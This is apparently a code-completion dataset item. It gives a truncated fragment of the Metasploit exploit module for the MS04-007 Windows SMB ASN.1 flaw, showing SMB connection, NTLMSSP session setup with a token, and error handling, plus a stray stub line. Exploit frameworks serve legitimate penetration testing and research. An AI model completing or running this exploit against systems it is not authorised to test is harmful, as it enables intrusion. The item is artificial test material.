You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: ms04_007_killbill.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/smb
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = LowRanking

  i
    
  def exploit_smb(token)
    connect(versions: [1])

    client = Rex::Proto::SMB::Client.new(sock)

    begin
      client.session_request(smb_hostname()) if not datastore['SMBDirect']
      client.negotiate
      client.session_setup_with_ntlmssp_blob(token)
    rescue => e
      if (e.to_s =~ /error code 0x00050001/)
        print_error("The target system has already been exploited")
      else
        print_error("Error: #{e}")
      end